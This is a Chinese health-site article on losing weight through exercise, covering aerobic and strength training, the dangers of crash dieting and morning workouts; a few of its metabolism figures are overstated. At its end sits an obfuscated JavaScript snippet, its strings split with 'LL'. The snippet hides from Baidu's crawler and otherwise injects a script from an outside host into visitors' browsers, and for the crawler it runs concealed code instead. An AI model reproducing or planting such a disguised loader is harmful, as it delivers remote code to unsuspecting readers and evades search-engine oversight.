当前位置:首页 > 减肥 > 运动减肥 > 正文

如何快速健身减肥呢

2017-04-22 10:51:30  来源:360常识网   热度:
导语:减肥对于吃货们来说一直是个大难题,困扰着很多小胖子们,很多人会选择绝食及喝减肥茶来瘦身,那样不但没有很好的效果还会伤身体。运动减肥

减肥对于吃货们来说一直是个大难题,困扰着很多小胖子们,很多人会选择绝食及喝减肥茶来瘦身,那样不但没有很好的效果还会伤身体。运动减肥也是我们常见的一种,但是很多人都不知道怎么运动瘦身下来,也有的由于工作忙没有坚持下来,到底怎样才能健康瘦身呢,下面我们就来了解下如何快速健身减肥呢?

运动强度够:有氧运动的运动强度,至少要达最大心跳率的60%以上。

要减肥的人,做强度适当的有氧运动至少要持续30分钟以上,这样才能燃烧更多脂肪。除了能让你的体重节节下降外,还能增加心肺功能、柔软度等。

节食瘦身代谢下降更难瘦:节食,摄取的热量低于基础代谢率,就会会造成肌肉的流失,即使瘦下来也是松垮垮的!当你节食一天,身体的代谢率就会自然降低15-30%之多,虽然你吃得少,但身体的消耗也少了,这个结果除了使你减重更加困难,也会影响健康。

更糟的是,中枢神经会因此受到刺激而提升食欲,让你接下来吃得更多。如果你以正常均衡的饮食配合运动来减肥,就可以避免新陈代谢降低的问题。有了运动,更要正常饮食,绝对不要只求速效,摄取极低卡饮食,又加上大量运动。

成功减肥后维持每週3天运动:运动是减肥最有效又最持久的方法。长久维持健康的体重标準和得体的外表是一辈子的事,选择运动作为减重的最好方法就是,将运动变成你日常生活的一部份。

达成了减重的目标,也不要急着把运动鞋束之高閤!此时你应该已经充分体会到持续地运动,让你变得更快乐、更健康!

有氧运动才能有效燃脂:有氧运动是医界公认最有效的燃脂方法,只要是全身性、可以持续性动作的,比如,健走、慢跑、骑脚踏车、游泳、有氧舞蹈、直排轮、羽球、网球、跳绳等。只要持续30分钟以上,都是绝佳的“有氧运动”。

有氧运动能增加身体的摄氧量,氧气如同燃料,是燃烧脂肪的要角。减肥运动,一定要以有氧为主,效率才会高!

肌力运动增强塑身效果:肌力运动,简单地说,就是增加肌肉负重能力的锻炼法,又称无氧运动或重量训练。像是哑铃、弹力绳、仰卧起坐、伏地挺身、传统瑜珈都是属于肌力运动。

肌力运动可以塑造易瘦体质,如果你不希望代谢节节下降,减重变得愈来愈困难,一定要做肌力运动。因为肌力操帮你锻炼出来的肌肉,正是燃烧脂肪的主力!

有氧运动可以强效燃脂,肌力运动则强化肌肉、紧实线条,并且提升代谢,两者相辅相成。

早上运动是减肥最佳时机:同样是花60分鐘运动,最好、最有效率的时机是在早上。因为人们一天中的新陈代谢都是遵循下面的模式:在你清晨醒来之前,新陈代谢是处于最低点。然后慢慢上升,到晚餐后达到顶点,之后保持水平,直到你上床睡觉,才渐渐下滑。

饮食和运动都可以改变新陈代谢的速度。如果你在睡醒后马上运动,会让新陈代谢提早上升,并在一天中全盘升高,消耗更多的热量。所 以运动真正的好处是,除了运动时可以消耗热量,运动之后6-8小时内,还能比平时多消耗180-400卡。

安排自己在早上的时间运动,可收事半功倍之效。

提早起床1小时不是办不到的问题,而是愿意与否的问题。早起运动后、冲澡,精神抖擞、气色红润的开始一天的工作,你会发现人生更积极、有效率。

看了以上如何快速健身减肥,对于运动减肥都有了解了吧,平时一定要按照以上来坚持锻炼,不要绝食及喝减肥茶那样很容易伤身体。饭后要适当的多运动,饮食要搭配好,不要吃辛辣刺激的食物,多吃蔬菜水果,保持好的心态,养成良好的生活习惯对减肥也是有帮助哦。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}